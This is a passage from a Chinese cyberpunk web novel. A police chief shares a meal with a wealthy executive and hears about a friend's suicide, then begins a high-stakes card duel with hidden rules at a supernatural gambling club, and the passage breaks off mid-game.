裴溪竹蹙起眉头，睁开眼睛。
叶枝双手合十，以表诚恳：“裴总来我家做客，我给你展示我的拿手菜！”
裴溪竹默默盯着她，没有说话。
叶枝在胸口竖起大拇指：“三鲜面！”
小说里不都是这个套路吗，总裁常年奔波，厌倦了精致的山珍海味，一顿简简单单的家常菜或能俘获总裁的胃。
裴溪竹兴趣乏乏，理都不想理她。
是不是担心去贫民区不安全？
有这个可能，和祝扶桑不同，裴溪竹平时外出不带保镖，车上除她们外别无二人。
叶枝继续劝说：“我会保护您的安全，我的保安技术一流，你可以问祝扶桑。”
听到这个名字，裴溪竹脸色刷一下变了：“跟你走行了吧？”眉眼间弥漫着恼怒。
叶枝没想到对方反应这么大，这是触发了关键词吗？
裴溪竹扔来一块触控板，意思是让叶枝输入家庭地址。
叶枝三下两下便输完了。
将触控板递给裴溪竹时，叶枝突然想起昨夜失眠时所遇见的幻境，也可能是梦境。
叶枝越回味，越觉得不对劲。
那片充满镜子和红花的荒芜里，破碎的油纸伞落在花海中。
千万根长刺穿透祝扶桑的身体，是裴溪竹接住了她，也是裴溪竹露出了最绝望的神色。
裴溪竹拿起桌板上的保温杯，拧开盖子，疯狂喝水。
叶枝陷入沉思。
不会是潜意识里磕cp磕疯魔了，才会做这种梦吧？
“你喜欢祝扶桑吗？”她忍不住问。
正在喝水的裴溪竹，差点全部喷出来，呛了好大一口水。
她恼羞成怒，死死盯着问出问题的叶枝。
“你在侮辱我吗？”裴溪竹白皙的耳根泛起粉色，眼睛瞪出凶光，“谁会喜欢种不干不净的贱货？”
叶枝：“？”
她只是随口一问，根本没往爱情方面想，啥玩意啊。
眼看裴总越发恼怒，叶枝深切地知道，再不转移话题，保不齐又有人身危险了。
她又想起，在昨日残忍的梦境中，梅探雪模模糊糊的身影也在其中。
梅探雪伫立在花海尽头，莫冬青跪在她身边，长发垂到她长靴的鞋面上。
她表情淡然，眼神空洞，似在观测一亿光年外的星海。
到底是第六感，还是毫无意义的现实元素的拼凑？叶枝总也放不下，想进一步确认。
“那你认不认识一个叫‘梅探雪’的人？”叶枝问。
话题丝滑转移。
裴溪竹神色瞬间归于平静。
“煤炭学？你是说教人挖煤的学科？”
人人都是空耳大师。
“当我没问。”叶枝悄悄舒一口气，看这样子是不认识了。
终于，黑色法拉鲤来到了永胜小区前。
然而小区门口道路过于狭窄，道路又年久失修坑坑洼洼，车开不过去，只能早早停下。
叶枝双手抱拳：“辛苦裴总多走两步了。”
虽然她用钱修了小区，和小区外面的路还没钱修。
“你就住这种地方？”裴溪竹不可置信。
虽然永盛小区内已经修缮了一波，对于坐拥千亿资产的裴总来说，当然还是破旧的要命。
“我没钱。”叶枝很干脆。
裴溪竹眯起眼睛：“你不还说你有一万二积点吗？”
“我以后会有钱的。”叶枝耸耸肩。
裴溪竹下车后，暗藏银针的油纸伞也不离手。
看来虽然她不带保镖，潜意识里却并没有安全感。
刘阿婆坐在小区门口，发现叶枝身边有着个陌生女子，好奇地看了许久。
“这哪家姑娘呀，俊的呦。”刘阿婆夸赞。
叶枝笑着介绍：“这是WorldBrain公司的老总，不是普通的大姑娘！”
“这哪家的老总呀，俊的呦。”刘阿婆改口。
裴溪竹：“……”
叶枝带裴总一步一个台阶，上到家所在的四层，恐怕裴总已经很久没走过楼梯了。
走进家门时，裴溪竹呼吸明显沉重了。
说来也不可思议，在如此发达的赛博时代，破旧的永胜小区所有居民楼仍没装电梯。
叶枝很确信，决不是补装电梯一二层居民不同意，压根就是政府不想花钱花力安装。
“裴总担待了，这小区就是没人管。”
裴溪竹挑眉：“谁说不是呢。”她好像并不意外。
叶枝内心一动，从裴溪竹的表现来看，她以前怕也在这种地方住过，所以才有心理预期。
叶枝按照说好的禁止走进厨房，开始做她拿手的三鲜面。
现在正处工作日，叶枝没来得及买菜，便变换了一下配方。
理论上三鲜面的三鲜，需要虾、墨鱼和海参。
现在冰箱里当然没有墨鱼，也没有海参。
叶枝上下扫视一圈，决定用鱼豆腐代替墨鱼，鸡蛋糕代替海参。
反正鲜味都会在。
叶枝的房子面积不大，厨房是开放式的，灶台正对客厅的餐桌。
裴溪竹坐在餐桌正前方，审视着叶枝的做饭手法。
油纸伞靠在墙角，离她很远，她的肢体动作也比较放松。
叶枝素来以高效著称，左手一个锅煮面，右手一个锅煮卤，边切菜边调酱汁，两只手表演出六只手的效果。
裴溪竹眯眼欣赏。
她的表情看似无趣，可眼内不经意流出的赞叹，还是出卖了她。
半小时不到，两碗热气腾腾的面摆到两人面前。
裴溪竹一动不动，叶枝主动将筷子和勺，在她面前面摆放整齐。
请客吃饭，就要有服务客人吃饭的自觉。
裴溪竹这才拿起筷子，戳进汤中轻轻搅动。
热气中混着鲜味的香气，每根面条都裹满奶白色汤汁。
叶枝还拿来醋瓶和辣椒油，她拿不准裴总的口味，主打一个什么都能放。
裴溪竹往汤中浅浅滴了点醋后，优雅地挑起筷子，品尝一口。
叶枝留意观察她的表情，微表情骗不了人。
从表情看，还是颇为受用的。
“裴总还能习惯这个味吗？”
“能吃。”裴溪竹惜字如金。
叶枝倒不在乎她的评价，毕竟这位吃惯了珍馐海味，一碗家常三鲜面算什么，能咽下去就是胜利了。<
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两人默默对着吃面。
叶枝活的比较粗糙，主打一个吃嘛嘛香，她觉得今天做的三鲜面发挥不错。
裴溪竹也一直在吃。
有那么几秒钟，叶枝从他垂下的面庞中，看出了朴素的怀念。
其实，沉默是对美食最大的赞扬。
裴溪竹的碗也很快见底，她还舀过好几口汤。
叶枝心里萌生出一个猜测。
“裴总是白手起家吗？”
裴溪竹和祝扶桑的神秘感旗鼓相当，网上也是查不到任何相关消息。
裴溪竹一顿，目光瞬间犀利：“何出此言？”
“说了你又不高兴。”叶枝没控制住罪恶的念头，又开始逗她。
“……”裴溪竹真不高兴了。
叶枝见她拉下脸，改口道：“裴总现在可坐拥千亿资产，不管以前什么样，相比起来肯定都算‘白手起家’。”
裴溪竹沉默许久。
闭口不谈期间，裴溪竹又拿起勺子，把三鲜面剩的汤喝完了。
裴溪竹喝个精光后，才终于开口：“很好喝，味道很像我奶奶做的。”
叶枝石化，寿命仿佛被千斤重的石头压住。
大家看清楚，是裴总主动让自己占她便宜的！
“呃，谢谢。”叶枝当它是个夸赞。
不过这也是破天荒的，裴总头一次不再傲娇了。
“我小时候家里很不富裕，”裴溪竹环顾四周，“住的地方和这差不多。”
叶枝了然地点点头，果然猜的没错。
这更衬托出裴溪竹的厉害之处。
她和祝扶桑一样，无论用什么手段都无所谓，最终都能一手烂牌打成王炸。
裴溪竹盯着碗底，目光悠远。
叶枝捕捉到她们间的气氛变得忧伤，连忙从座位上站起。
“裴总没吃饱吗？我再给你下一碗！”叶枝尽力挤出笑容。
裴溪竹按住她要收碗的手：“我吃的很饱，多谢款待。”
叶枝只能回到座位上坐下，抽出两张餐巾纸，递给有可能会哭的裴溪竹。
裴溪竹食指点点桌面，意味深长。
“你听过A国的寓言故事吗？”
“哪个？”叶枝好奇。
裴溪竹嘴角意味不明地勾起。
“在A国就是富人越来越富，穷人越来越穷。
后来有一天，穷人抢劫了富人变成富人，富人丢了钱变成穷人。
然后还是一样，A国就是富人越来越富，穷人越来越穷。”
叶枝此前并没有听过这个故事，却明白这个寓言故事的含义，分明是指桑骂槐。
但是，有一点是肯定的。
能记住这个寓言的人，必定是寓言中曾经的穷人。
“所以你的愿望是什么？”叶枝在短暂的沉默后问，“你加入俱乐部的契机是什么？”
莫非这千亿资产，也是俱乐部馈赠的礼物？
“治好我女儿的病。”
叶枝瞪大眼睛，还以为听错了。她实在太意外，因为裴溪竹身上毫无母性光辉。
“一个医学理论上的不治之症。”裴溪竹有气无力地补充道。
叶枝有些慌乱，忙垂下眼：“抱歉，我不知道你有女儿。”
她不是有意揭人伤疤的。
裴溪竹深吸一口气。
“算是女儿吧，她爸是我的发小，也是我最好的朋友。”
原来是继女。
叶枝感觉合理了些，却还是觉得奇怪。
那孩子的亲生父母去哪里了？她很想问，却不敢再继续揭伤疤了。
裴溪竹瞥她一眼，幽幽解释：“前年的股市危机，他投入的六十万血本无归。”
叶枝一下警觉，触发关键词了。
据说那场股市危机，正是裴溪竹联手另两个神秘商业发大亨，制造的一场人为萧条。
裴溪竹语速控制不住地加快：“他本可以管我要钱的，可他不相信我。他说我是放高利贷的，他说他女儿生了很重的病，他说这个世界没有值得他期盼的东西。”
叶枝心里一紧。
那日她在藏宝阁前说的话，不会真的是……
裴溪竹死死咬住下唇，脸色达到从未有过的惨白。
“然后，他跳楼了。”
24.诡秘牌法·壹
“对不起。”除此之外，叶枝不知道该说什么。
裴溪竹轻笑道：“又不是你害他跳楼的，道什么歉？”
叶枝知道这个理，只是道歉也能充当一种安抚。
“我不知道事情的全貌，但如果一个人决定跳楼，他的绝望绝不是由单根稻草压垮的。”
裴溪竹表情中的冷峻嘲讽，终于渐渐褪去。
但她的话还是很尖锐：“有些人就是很有骨气，朋友是亿万富翁，还要逞强充胖子。”
一语双关。
叶枝耳根莫名有点烫。
裴溪竹继续：“某种程度上，我挺羡慕祝扶桑的，因为她真的打心底认识到了尊严的一文不值。”
叶枝竟说不上来，这算夸赞还是贬低——或许在裴总口中，这真算夸赞。
毕竟，这位可不是什么正常人，她早就看出来了。
“自尊确实不能当饭吃。”叶枝在两个世界摸爬滚打一身泥，也得出这样的结论。
裴溪竹切一声：“你挺有自尊的，说这话不心虚吗？”
“有吗？”很无辜的神情。
“卖萌无效，叶警官。”裴溪竹眼神突然闪烁。
叶枝：“？”
好像有什么不对劲，对方有点害羞了。这算无心插柳柳成荫吗？
裴溪竹深吸一口气。
“你知道为什么官员们这么怕伪人吗？”
“嗯？”话题转的有点快。
“你们警察应该也发现了，伪人集群暴动，所选择的袭击对象都很有梦想。”
“此话怎讲？”
“伪人攻击的几乎都是上等人，比如老总、大明星和政要。”
“是。”叶枝点头。
这个角度很有趣，她之前只是个小小的职能警，从未考虑过关于伪人的宏观问题。
裴溪竹邪魅一笑。
“你说那个A国的寓言，该不会是伪人编的吧？”
叶枝愣住。
这个假设诡异中蕴含着合理，越是荒谬，越令人毛骨悚然。
“当然，都是玩笑话，别当真。”
叶枝立刻会意：“把玩笑话当真，只会自找不痛快。”
“聪明人。”裴溪竹挑眉。
她们之间的气氛发生了微妙的变化。
叶枝不再讨厌裴总了，有那么几个瞬间，她竟然还觉得裴溪竹挺可爱。
霸总人设固然油腻，傲娇霸总嘛——倒还算可爱。
裴溪竹注视桌子对面的警官，眉眼间添了些许敬佩。
滴答滴答。
手腕上的信环整点报时，时候不早，午休快结束了。
裴溪竹起身告辞。
“如果你活不下去了，请告诉我。”
叶枝也站起来。
“我会活得好好的。”
裴溪竹只是笑笑，并没有接话。
叶枝尽地主之谊，护送裴总和她的油纸伞回到法拉鲤。
豪华的车型与破旧的永胜小区格格不入，漆黑的车身与泛白的水泥相隔，它们永远属于两个世界。
裴溪竹坐到后排，迟迟没有关起车门。
“我送你回警卫司吧。”裴溪竹提议。
叶枝潇洒摆手：“我钻了骨气的牛角尖。”
裴溪竹笑了。
这一次她的笑容不带任何嘲讽之意，是纯粹被逗乐了。
“愿你的脊梁骨一直这么硬。”
叶枝特意将背挺得更直，挥手送别。
*
一周忙碌的工作结束，叶枝已经疲惫不堪。
她设想过当局长的日子，白日梦做得很欢，却没想到局长也有局长的难处。
条条框框更多了。
跟乱七八糟的限制、不见人影的上级汇报人相比，对整个警卫司的绝对管理沦为了最微不足道的好处。
根本原因在于，局长这个官尚不够大，配不上想让这世界变好些的决心。
听起来不可思议，但叶枝确实是这么想的。
她希望自己能好好活着，更希望千千万万个和她并肩的底层人民能好好活着。
局长办公室坐落于警卫司顶层。
从落地窗向外望去，古建筑高耸入云，霓虹灯光汇聚成绚烂河流，街道星罗棋布，宛若城市的水晶血管。
叶枝排完周末的值班表，核对周报上交系统，终于能下班了。
她饿得前胸贴后背，便拐到夜市一条街，打算吃点东西。
她买了最爱的红豆鸡蛋仔，在漆黑的冬夜散出白花花的热气。
刚大口啃一半，叶枝的余光就锁定到人群中的可疑人员。
然后她放下鸡蛋仔，身手矫健地穿梭于人群中，很快便顺手抓住了两个小偷。
两个小偷尚还懵着，便听咔嚓一声，腕上多了副手铐。
这算是作为女性的优势。
性别刻板印象经久不衰，一个穿休闲装的女生冲过来，那些人很难会联想到便衣警察。
赛博时代也有小偷，不过偷的是信环。他们无法指纹解锁，偷完后便会要挟信环的主人，给一定的钱才会归还。
叶枝干脆利落，直接将嫌疑人扭送给同事。
冬夜的风很凉，吃一半的鸡蛋仔没人动过，却落满了沧桑的风霜。
还好，摊主心怀感激，他现场赠送了四个不同口味的鸡蛋仔给她。
回家路上，叶枝抱着满怀着鸡蛋仔，胸口绵软而灼热。
只是走着走着，她突然感觉到异样的心慌。
此前从未出现过这种感觉，她还以为是加班导致的猝死前兆。
叶枝伫立于寒风中，当场吃掉一个抹茶鸡蛋仔，先补充血糖试试。
胃填满了。
心脏仍有刺痛灼烧的紧缩感。
叶枝突然才后知后觉，疼痛的源头，是因为有东西正死死抓在心口。
她靠着路灯杆，额角渗出汗水，吃力地从胸前的内口袋中掏出七面骰。
掏出那一刻，效果立竿见影，心脏立刻没了负担。
果然是因为这东西！
叶枝捧起七面骰。
它表面有显著褪色的趋势，泛出奇特的灰色。
她这才想起来，太久没进过俱乐部了，本周尚未履行契约上的六小时义务。
叶枝倒很轻松。
她现在坐拥一万多积点，很长一段时间内，不必担心负利率。
不如向江落枫学习，去俱乐部观摩赌徒互相诈骗，也不失为种新颖的免费娱乐方式。
等等，是错觉吗？
叶枝用拇指擦擦七面骰，发现它的颜色也有变化。
它的底色变红了！就好像3号面的红色大剑融化，并漫延了出来！
不行，得去问问O先生。
叶枝最后再吃一个鸡蛋仔，吃饱了，才心里默念罪域天阶俱乐部。
她召唤空间越发轻车熟路，这次甚至都不用走，眼睛一闭一睁，就来到了俱乐部前台。
任凭世界电光幻影，O先生永远雷打不动。
O先生摘下礼帽，微微鞠一躬：“晚上好，叶局长。”
“晚上好，O先生。”叶枝学着他的样子，也鞠一躬。
还是要对AI礼貌些，这样以后AI统治世界的时候，也不至于太遭殃。
“O先生，我问你一个问题。”叶枝想起了心头的疑惑。
“请问。”
“为什么我的七面骰变红了？”
O先生抖抖脸上灰色的羽毛。
“因为它是您的，以后也会彻底成为您的所有物。”
“这和变红有什么关系？”叶枝最烦谜语人了，一天天非要二次中译中。
“您是红色的。”
“我为什么是红色的？”
“因为您是剑。”
“我贱？”叶枝皱眉，怎么还骂人呢。
O先生琥珀色的眼睛，露出抱歉的目光：“我的意思是，您是七面骰上的那把红色的大剑。”
“我为什么是大剑？”叶枝心想，总不可能猫头鹰也迷信MBTI吧，再说了她也不是大剑人格啊。
“因为您是红色。”
叶枝：“……”
她上了一周班本就疲惫，现在跟听不懂人话的猫头鹰废话文学，更疲惫了。
“没事了，谢谢。”叶枝转身向俱乐部的门走去。
“不用谢。”O先生依旧保持温和的彬彬有礼。
走进俱乐部后，电子香氛的气息扑面而来，叶枝皱起鼻子，适应许久才向大厅深处走去。
玉砌的地面铺满柔光，仿若莲花池盛开出淡蓝色的光晕。
这段走廊正中央，摆着一座财神爷雕像。
它头戴金乌羽饰的发冠，下面的横幅上一排流动的字符，赫然印着“灵海三合，乾坤逆转”。
叶枝左顾右盼，半天没找到合心意的对决用来观赏。
在这过程中，她偶然碰到了同样前来水时长的江落枫。
江落枫瘦削的身躯有些挺不直，一看就是做了太长时间的手术，腰肌劳损过头了。
叶枝去大厅角落的吧台，用10积点兑换了一杯焦糖枫叶拿铁。
换算下来，10积点等于一千塔隆铢，俱乐部简直坑人太甚，还好她财大气粗。
“给。”叶枝主动将兑换的咖啡塞给江落枫。
人情可不能忘记还！
江落枫接过，低头闻一闻：“焦糖枫叶拿铁。”
“恭喜人机，猜对了。”叶枝挑眉。
“我不喝加奶的咖啡。”
叶枝一想到美式的苦味，舌头就泛酸：“那你还给我！”
江落枫瞥一眼她，悄悄搂紧拿铁：“但你送给我了，我就会喝。”
“那你何苦要说？”叶枝汗颜。
江落枫弱弱道：“以免下次再给我拿铁。”
“没有下次了！”叶枝强烈谴责人机的低情商。
一杯咖啡令两人互相看不顺眼。
虽然江落枫观看的俄罗斯轮盘赛看上去挺有意思，叶枝还是转身就走。
她才不想和他站一块，训练AI是另外的价钱。
又转了两圈，叶枝还是没找到满意的对决。
她甚至都想自己参加一个。
参与对决能愉悦神经，刺激多巴胺，说不定还能赢个大的。
嘶，赌徒心理不可取，叶枝突然意识到可怕。
要不随便找个看起来面善的玩家，进行一场金额较小的对决吧？
叶枝回到走廊，靠在财神爷雕像旁，看流动的古篆字体吹出数据光斑。
“叶枝。”
背后传来一个陌生的声音，冷静得毫无感情，却又奇怪的悦耳。
叶枝回头看去，立刻全身僵硬。
因为那双灰绿色的眼睛，以及那充满异域风情的中亚长相，看过一眼就彻底忘不掉。
是那个名叫梅探雪的女人！
女人身穿衬衫和半身裙，扣子扣到下巴，外面罩长风衣，脚踩短靴。
她全身上下几乎没一块裸露的皮肤，甚至脖子都用白色缎带束缚着，若全民评选百大禁欲系御姐，非此人莫属。
“是你！”叶枝差点惊叫出来。
谁能想到，这位也是俱乐部成员？罪域天阶到底发展过多少下线？
女人挂着人偶般的微笑，看不出喜怒哀乐。
“噢，你认识我？”她的嗓音也像人偶，听不出任何情感。
“我看到你的报案记录
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了，”叶枝攥紧拳头，“还有那天南方明珠门口。”
梅探雪轻轻点头：“我需要你的帮助。”
叶枝注意到，梅探雪不光长相独特，发色也很奇特。
梅探雪的头发末端有些发白。
不知是她身体不好，还是故意漂染，褐色长发配上白色发尖，真如梅花枝头覆满雪一样。
“你是谁？你认识我吗？”叶枝皱眉。
来历不明的神秘人最危险了！
更别提这女人那天曾在南方明珠出现过，身份更是危险中的危险！
“我对此无可奉告。”梅探雪仍在轻轻微笑，笑容永远蒙着神秘的面纱，“如果你想知道我是谁，都赌上你的全部。”
赌上全部！
叶枝捕捉到关键词，立刻意识到是老诈骗犯了。
她下意识抬起头，先看对方持有的积点，很快一看一个不吱声。
这个梅探雪是更可怕的Boss！她头顶上赫然有28889积点！
上次和裴溪竹的对决堪称人生阴影，两个人加起来八百个心眼子，太费劲凶险了。
“算了吧。”叶枝很识相。
梅探雪眨眼也眨得很缓慢：“就算你成为债犬，我也不会转让支配权，请你放心。”
叶枝仍紧锁眉头：“让我考虑一下。”
“如果我成为债犬，你想做什么都可以，也可以把我送给别人。”
即便是这种话，她的语气都漠不关心，好似一个旁观者。
叶枝对支配债犬没兴趣，她深谙社会之恶，平等地憎恶所有的奴隶主行为。
但是，她想解开谜题。
直觉告诉她，如果询问梅探雪，能问出很多答案。
比如为什么会出现在梦里，是不是墨子工会的人，和莫冬青又是什么关系，为什么要监视自己。
叶枝深吸一口气：“如果我赢了，你会告诉我我想知道的一切吧？”
“那是自然。”梅探雪眼睛都没眨一下。
“好，就这么定了。”
梅探雪从风衣口袋中掏出七面骰，两根细葱般的手指将它捏到空中。
“建立对决，请求无相者。”
她的七面骰和她本人一样，已蜕成雪白的颜色，应是由那面白色蜗牛漫延而成。
空中应声出现一只机械猫头鹰。
它通体漆黑，差点连眼睛都看不见在哪儿，活像个坍塌的黑洞。
“我是无相者91号，请多指教。”
这些猫头鹰，各有各的丑法。
叶枝提议：“公平起见，让无相者生成对决吧。”
“嗯。”梅探雪轻轻应道。
无相者91号拍拍翅膀，空气中飘来一股煤味。
“正在生成对决中……对局已生成，对局名称为‘灌篮高手’。”
听上去像打篮球的比赛，叶枝觉得很有趣，这是这么多天来遇到的第一个体力对决。
“请问，这是篮球的一种变体吗？”梅探雪率先提问。
无相者91号：“是的。”
梅探雪轻轻摇头，说：“我申请更换对决，换成不需要体力参与的项目。”
叶枝诧异地看向她。
只见梅探雪脱下大衣，卷起衬衫袖子，露出她的小臂。
叶枝不明白此举的含义。
那是一截无比纤细光滑的小臂，苍白得能看见血管，她整个人很纤瘦，小臂也骨感到极致。
梅探雪柔声解释：“无相者91号，我力气很小，恐怕无法打篮球。”
无相者91号没有说话，似运行程序过载，死机了。
叶枝盯着那截小臂，陷入沉思。
梅探雪穿上短靴后约一米七，体重估摸也就九十斤上下，比祝扶桑还瘦，一点肌肉都没有。
从这个角度看，请求更换项目无可厚非。
可是——
O先生也说过，无相者作为绝对中立的存在，建立的对决必定对双方绝对公平。
无相者91号看向叶枝：“更换对决项目需要双方同意。”
梅探雪仍保持着平淡的微笑，弧度却浅了些许。
顶灯的强光照射下，那双灰绿色会呈现褐绿色，令她看起来更像只优雅的猫咪了。
“请握住我的手。”梅探雪柔声说。
叶枝大眼瞪小眼，这是什么新型诈骗套路吗？
经过这么长时间的俱乐部时间，她早已不信任这里的任何人了。
“请握住我的手，我证明给你看。”
叶枝将信将疑，握住她的手。
那只手柔弱无骨，枯瘦万分，同时也冰凉的过分，甚至不像人类的手。
两人手握手，一动不动。
就这样一分钟过去了。
对于她们到底在干什么，叶枝仍毫无头绪。
终于，梅探雪开口：“如你所感，这是我最大的力气。”
叶枝：“？”
刚才有人在使劲吗？
梅探雪微微点头：“我在和你掰手腕。”
“……”
叶枝这才明白，对方在试图向自己证明什么。
既然对方如此弱不禁风，就没有理由不更换项目了。
“我同意更换项目。”叶枝立刻确认。
无相者91号又顿了很久，向叶枝投来呆滞的目光：“确认更换吗？”
“确认。”叶枝无所畏惧，智斗游戏也确实更有意思。
梅探雪放下衬衫袖子，重新披上大衣。
从始至终，她脸上无意义的微笑就没褪去过。她像一只慵懒的猫，也像一个精致的人偶。
“生成对决中……”
“对局已生成——对决名称：诡秘牌法。”
25.诡秘牌法·贰
诡秘牌法？
这名字听起来像故弄玄虚，叶枝想知道怎么个诡秘法。
两人面前凭空出现一张牌桌，还是熟悉的样式，不大不小。
从桌面来看，应该是常规扑克牌的玩法。
捉鬼？斗地主？打百分？□□？叶枝悄悄猜测，却觉得哪种玩法都不够“诡秘”。
梅探雪面无表情，很自然在对面作坐下，坐下后便一动不动。
“请双方进行押注。”
又到了熟悉的赌徒环节。
叶枝抬头看一眼头顶：“我押所有，10584点。”
君子一言，驷马难追。
梅探雪微笑：“我也押所有，28889点。”
如此巨大的积点押注，便又吸引了一大群人围观对决。
“接下来宣布‘诡秘牌法’的规则。”合成的机械音一顿一顿。
叶枝屏气凝神，生怕错过一丝规则细节。
桌对面的人却心不在焉，眼眸透着慵懒，抬起信环看一眼时间。
无相者91号宣布规则：
“对决开始后，双方轮流出牌，每次只能出一张。我会随时宣布，当前出牌方是否能收走桌上所有的牌。
直到任何一方无牌可出，则直接判定为负，输掉比赛。
以上，便是全部规则。”
双方轮流出牌；出到特定的牌，可以收走桌上已有的牌。
规则简单清晰，听上去没什么技术含量，叶枝想起了童年最喜欢的扑克游戏，叫什么来着，拉火车。
唯一的疑惑是，什么时候收牌？
不光是叶枝，梅探雪眼内也流露出一丝困惑。
而接下来，无相者91号的话才是重量级。
“本次对决不公布规则，我只判定能否收牌。”
赛场突然安静。
原来如此，诡秘之处在于规则！她们要一边出牌，一边自行探索游戏规则！
围观者纷纷倒吸凉气，这确实是他们听到过的、最诡异神秘的牌局！
叶枝心脏砰砰跳着。
在此之前，她从未玩过这么离谱的扑克玩法，连规则都要自己猜。
咔嚓，咔嚓。
无相者91号伸出两只机械手，软管手臂漂浮纷飞，从空气中变出一副扑克牌。
那副牌与以往不同，闪着金属的银色光泽。
无相者91号直接将牌分成两份，分别背扣着摆到两人面前。
叶枝首先注意到一件怪事：无相者没有洗牌。
她观察过，整个俱乐部都在模拟旧时代的赌场。之前每次扑克对战，无相者都会与正经荷官一样，至少洗牌三次。
而这次并没有洗牌。
叶枝立刻想出两种可能性：
一，她们两人拿到的牌是相同的，毕竟都是七张。
二，拥有的牌并不影响胜负的概率。
无论是哪种，都要费一番功夫才能想明白规则了，先看看拿到手的牌都有什么。
叶枝正要拿起牌，手指刚触到牌身，再次大吃一惊。
这不是正常的扑克牌！
它是铁制的！
因为每张牌都是铁制的，约有一元硬币那么厚，手感很厚重，若要把七张全部拿在手中，手腕恐怕会废掉。
叶枝只能先拿起三张牌打量，同时悄悄抬眼。
果不其然，梅探雪手腕力气太小，只能一张一张翻开看。
看来她没说谎，她确实无法进行体力对决。
接下来，叶枝注意到了第三件怪事。
其中有一张牌，比其它牌都要薄，厚度约为其它牌的一半。
“双方还剩一分钟的看牌时间。”无相者91号提醒。
叶枝飞速看完了手上的七张牌，没有花色，各只有一个数字：
3、9、10、13、15、16、25。
其中“10”便是那张与众不同的薄牌。
叶枝毫无头绪。
她尝试用行测思维找规律，却徒劳无功。
她又拿起牌，前前后后仔仔细细看一遍，并无其它异常。
叶枝抬头，看向对面的梅探雪。
梅探雪也正望着她，灰绿色眼眸如一潭死水。
这个人都不需要多看几眼牌的吗？叶枝不禁皱眉。
她还记得签订契约后抽骨牌获得超能力的流程，这也就是说，俱乐部里每个人的异能都是不同的。
既然之前已经遇到过透视者，那么梅探雪的异能就不会是透视。
也正因如此，叶枝才要更加小心。
梅探雪好似看穿了她的心思，含笑道：“不知道规则的情况下，再怎么看也没用，不是吗？”
叶枝耳根一热，这话也有道理。只有出几轮牌，才能获取更多有效信息。
准备时间到。
无相者91号：“请梅探雪出牌。”
梅探雪非常随意，轻飘飘抬起纤细的手腕，将中间一张牌推到桌子中央，翻开。
梅探雪出的牌是：
【11】
叶枝手指一僵，她手中并没有这张牌——说明她们手中的牌不一样！
无相者91号：“请叶枝出牌。”
叶枝秉承老祖宗的传统中庸美德，出一张大小适中的牌：
【13】
保险起见，她要比梅探雪大一点。
毕竟她不确定，规则是不是与比大小有关，可别在摸清楚规则前，就输光了所有牌。
无相者91号：“请叶枝收走桌上的全部牌。”
瞬间，围观者们炸开锅，开始窃窃私语讨论起局势。
叶枝也不可思议，不会真是比大小吧？这么简单？
她将两张牌据为己有后，摩挲着那张掠夺而来的新牌。
它从质感上来看别无二致，只是梅探雪摸过的牌，留有淡淡的花香。
果然不是简单的比大小，不过也在意料之中，俱乐部的对决都极为烧脑。
梅探雪面无表情，好像一切输赢和她无关。
无相者91号：“请叶枝出牌。”
上次的赢家先出牌，合理。
叶枝便出牌：
【10】
这次，她想打探一下，这张特殊的薄牌究竟是什么意思。
梅探雪出牌：
【8】
无相者91号保持沉默。
叶枝既意外又不意外，果然不是比大小，第一轮赢只是偶然。
又该叶枝出牌：
【11】
还是没有触发收牌指令。
梅探雪慵懒抬起眼眸，抬起一张牌，在桌中央轻轻放下：
【19】
这时，无相者91号宣布：“请梅探雪收走桌上的全部牌。”
围观者又炸锅了而且也没人能看懂为什么会触发收牌，
这次可一下收走了四张牌！
还好第一轮赢了，叶枝现在手上还有六张牌，离输光尚且还早。
只是，她仍摸不透规律，这点非常危险。
梅探雪一张张收起牌，整齐地在面前摆一排。
她很像同时有洁癖和强迫症的那种人，连微笑弧度都要计算好，更像量身定制的、强行模拟感情的人偶。
新的一轮开始。
无相者91号：“请梅探雪出牌。”
梅探雪将一张铁牌推出，动作很随意，很漫不经心：
【2】
叶枝神经紧绷，是一张特殊的薄牌！
她早就注意到，梅探雪也初始拥有六张厚牌和一张薄牌，而她的那张薄牌便是“2”。
自己的特殊牌是“10”，梅探雪的特殊牌是“2”。
理论上来讲，她们的特殊牌虽然数字不同，但公平性一定相同。
这么说来……
规则一定不是简单的比大小！
梅探雪好像并不为规则困扰。甚至还留有闲暇，去整理脖子上缠绕的白色丝巾。
叶枝更加深刻感受到，对方为什么会有拥有这么多积点。
能在押注一切的对决中，尚还不表现出任何情绪，是心理博弈的最高境界。
她是否已经想好了规则？
还是决定将选择交给命运？
叶枝无从得知，也根本看不出来，压力也随之更大。
“请叶枝
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出牌。”
叶枝硬着头皮出牌：
【16】
梅探雪跟得很快：
【23】
无相者91号宣布：“请梅探雪收走桌上的全部牌。”
围观者们纷纷哗然，还是没人看出来胜负的规律。
紧接着，梅探雪再出牌：
【19】
难道是
这时，无相者91号宣布：“请叶枝收走桌上的全部牌。”
合成机械音似一颗重磅炸弹。
空气越来越僵硬。
虽然叶枝赢了，额角上的汗却越发多了起来。
梅探雪与她形成鲜明对比，仍在浅浅微笑，光洁白皙的脸颊看不到一丝汗珠。
她的瞳色浅，发尖的白色也浅，整个人都像褪了色一般。
薄牌到底是什么意思？
规则很像拉火车，可如果是拉火车，目前没见到任何相同的牌啊！
叶枝疯狂进行头脑风暴，无相者倒计时的滴滴声格外烦躁。
“请叶枝出牌。”无相者91号催促。
突然，叶枝起了一个猜测。
她回忆一遍，前几轮收走牌的时候，不仅是奇数，还是质数！
包括上一轮的2和23，也都是质数。
叶枝抓住一线生机。
虽然还没想明白薄牌的特殊之处，也只能死马当活马医了。
如果两张质数牌会触发胜利，那么第一张就不能出质数牌。
叶枝尽力保持镇定：
【15】
毕竟目前，她手上仅有9、15、25三个非质数。
梅探雪眼睛都没眨一下：
【11】
无相者91号宣布：“请梅探雪收走所有牌。”
叶枝傻眼了。
这瞬间推翻了之前的猜测，说明跟质数毫无关系。
接下来，又该上一回合的赢家出牌了。
“请梅探雪出牌。”
梅探雪出牌：
【10】
她的手指细如葱根，尤其是那张牌很薄，捏起它时轻飘飘得可怕。
“请叶枝出牌。”
倒计时开始。
叶枝现在手中仅剩五张牌，而梅探雪九张牌，胜负岌岌可危。
必须得复盘！
必须得找到规则，否则死路一条！
叶枝记得，之前每次出现的猫头鹰无相者，如果外形很有特点，那么编号也很有意思。
唯有这次的无相者，虽然通体漆黑，算是只独特的黑洞猫头鹰，编号是一个不明不白的“91号”。
为什么？
它在暗示着什么？
无相者91号。
无相者91号。
叶枝大脑飞速旋转，她总觉得“91”与扑克牌有很强的关联，却一时半会想不起来。
梅探雪静静等待，优雅如常，也看向漆黑的猫头鹰。
叶枝回想着她的初始牌。
等等……
